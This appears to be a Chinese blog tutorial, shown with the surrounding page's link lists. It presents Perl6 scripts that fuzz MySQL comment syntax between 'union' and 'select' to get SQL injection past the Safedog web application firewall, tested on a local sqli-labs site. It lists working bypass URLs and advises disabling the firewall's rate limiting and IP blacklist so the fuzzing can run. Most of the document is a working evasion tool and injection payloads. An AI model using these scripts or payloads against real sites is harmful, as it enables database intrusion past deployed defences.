安全狗版本为: apache 4.0

网站为: php+mysql

系统: win 2003

这里只要是fuzz /*!union 跟 select*/ 之间的内容:

/*!union<FUZZ_HERE>select*/

位置很多可以选择。

脚本语言你可以用你喜欢的, 我这里用perl6

让我们一步步来。

枸造 exp 我用如下代码(代码测试用):

#!/bin/env perl6
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = 0..9;
my @fuzz_ch = '%0a'..'%0z'; my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch);
for @fuzz_all -> $exp {
say $exp;
}
say '-' x 30;
for @fuzz_all -> $a {
for @fuzz_all -> $b {
for @fuzz_all -> $c {
for @fuzz_all -> $d {
for @fuzz_all -> $e {
say '/*union'~$a~$b~$c~$d~$e~'select*/';
}
}
}
}
}

字符构建你想怎么构造都行, 或者下现成的文件库, 或者看下相应的脚本语言里有没有相应的fuzz模块可以用。

perl6中, 写文件没有缓冲区了, 直接用open打开, :a 追加, 用来保存规则用, 测试代码如下:

#!/bin/env perl6

my $file = '/home/perl/Desktop/test.txt';
my $fp = open $file, :a;
my $a = 1;
my $b = 2;
$fp.say($a~$b);
#$fp.flush;
sleep(120);

在perl6中, HTTP::UserAgent模块, get的时候, 特殊字符记得要转成uri的编码, 要不get时会报错。 转码用 URI::Encode模块中的 uri_encode方法转换就行。

下面是一小段测试代码:

use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
my $payload = '/*!union/*!/*!select*/1,2,3-- -';
say uri_encode($url~$payload);
#输出输码结果 my $targeturl = uri_encode($url~$payload); my $ua = HTTP::UserAgent.new;
my $result = $ua.get($targeturl);
say $result.content;
if $result.content ~~ /'Your Login name'/ {
say 'Bypass!'
}

测试站用的是 sqllibs。

查找相应的关键字, 如果存在, 就说明bypass了。

最终的fuzz版本如下:

use HTTP::UserAgent;
use URI::Encode;
my $url = 'http://192.168.235.128/sqli-labs-master/Less-1/?id=-1\'';
#保存数据, 刷新缓冲
my $file = '/home/perl/Desktop/safedog_exp.txt';
my $fp = open $file, :a; my $ua = HTTP::UserAgent.new;
my @fuzz_sp = '/*','*/','/*!','?','*','=','';
my @fuzz_nu = ..;
my @fuzz_ch = '%0a'..'%0z'; my @fuzz_all;
@fuzz_all.append(@fuzz_sp);
@fuzz_all.append(@fuzz_nu);
@fuzz_all.append(@fuzz_ch); for @fuzz_all -> $a {
for @fuzz_all -> $b {
for @fuzz_all -> $c {
for @fuzz_all -> $d {
for @fuzz_all -> $e {
my $exp = '/*!union'~$a~$b~$c~$d~$e~'select*/1,2,3-- -';
my $targeturl = uri_encode($url~$exp);
say 'Check url:'~$targeturl;
#sleep(2);
my $result = $ua.get($targeturl);
if $result.content ~~ /'Your Login name'/ {
say "Bypass!\a\a\a\a\a\a\a ---> "~ $url~$exp;
$fp.say($url~$exp);
sleep();
}
}
}
}
}
}

Fuzz到一些规则如下:

http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/**//*!/*!select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0b*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0e*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0f*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0g*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0h*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0i*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0j*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0k*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0l*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0m*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0n*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0o*/select*/1,2,3-- -
http://192.168.235.128/sqli-labs-master/Less-1/?id=-1'/*!union/*/*?%0p*/select*/1,2,3-- -

注意:

在fuzz时, 你fuzz太快狗默认会禁IP, 或者有时网站mysql数据库会挂掉。

你可以把狗的防CC功能/ IP黑名单关掉。

fuzz的最后:

fuzz完之后, 你可以对比一下, 看一下能过的fuzz有没有特点的规律, 总结一下。

对于fuzz位置, 你可以在不同位置测试, 比如:

union<FUZZ_HERE>/*select
<FUZZ_HERE>union<FUZZ_HERE>select
/*!36000uNION<FUZZ_HERE>*/selecT
...

Fuzz安全狗注入绕过的更多相关文章

  1. 利用反射型XSS二次注入绕过CSP form-action限制

    利用反射型XSS二次注入绕过CSP form-action限制 翻译:SecurityToolkit 0x01 简单介绍 CSP(Content-Security-Policy)是为了缓解XSS而存在 ...

  2. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  3. Mysql注入绕过安全狗

    转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...

  4. sql注入绕过安全狗实战

    =绕过 like regexp(匹配)> < (测试安全狗 ><不可以绕过) 注释+换行(%0a作为垃圾数据填充) 联合查询绕过 探测出当union select 出现时会拦截 ...

  5. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  8. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  9. 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...

随机推荐

  1. javascript ES3小测试

    一.温故知新 做做题,总是能有温故知新的体验.这套题是2010年的了,比较老了, http://perfectionkills.com/  还有一套http://perfectionkills.com ...

  2. Java 7之基础 - 强引用、弱引用、软引用、虚引用

    1.强引用(StrongReference) 强引用是使用最普遍的引用.如果一个对象具有强引用,那垃圾回收器绝不会回收它.如下: Object o=new Object();   //  强引用 当内 ...

  3. CI集成phpunit Error: No code coverage driver is available 的解决

    CI集成phpunit时,运行报No code coverage driver is available的错误,如下图: yanglingdeMacBook-Pro:tests yangling$ p ...

  4. Spark实战之读写HBase

    1 配置 1.1 开发环境: HBase:hbase-1.0.0-cdh5.4.5.tar.gz Hadoop:hadoop-2.6.0-cdh5.4.5.tar.gz ZooKeeper:zooke ...

  5. 传感器系列之4.12GPS定位传感器

    4.12 GPS定位实验 一.实验目的 了解GPS的基本概念 了解NMEA-0183格式数据串的组成和关于GPS的常用语句 GPS的数据串解析 二.实验材料 具有串口通讯的电脑一台 ADS1.2开发环 ...

  6. Java基础知识二次学习--第七章 容器

    第七章 容器   时间:2017年4月27日15:08:30 章节:07章01节~07章04节 视频长度:20:21 +12:38 +3:55 +2:57 内容:容器API 心得: Java API ...

  7. javaWeb学习总结(11)- 监听器(Listener)学习

    一.监听器介绍 1.1.监听器的概念 监听器是一个专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,当被监视的对象发生情况时,立即采取相应的行动.监听器其 实就是一个实现特定接口的普 ...

  8. First release of mlrMBO - the toolbox for (Bayesian) Black-Box Optimization

    We are happy to finally announce the first release of mlrMBO on cran after a quite long development ...

  9. 1.Node.js 接入微信公众平台开发

    一.写在前面的话   Node.js是一个开放源代码.跨平台的JavaScript语言运行环境,采用Google开发的V8运行代码,使用事件驱动.非阻塞和异步输入输出模型等技术来提高性能,可优化应用程 ...

  10. js添加多个样式属性cssText

    document.getElementById("box").style.cssText += ";color:red;font-size:20px"; 代码分 ...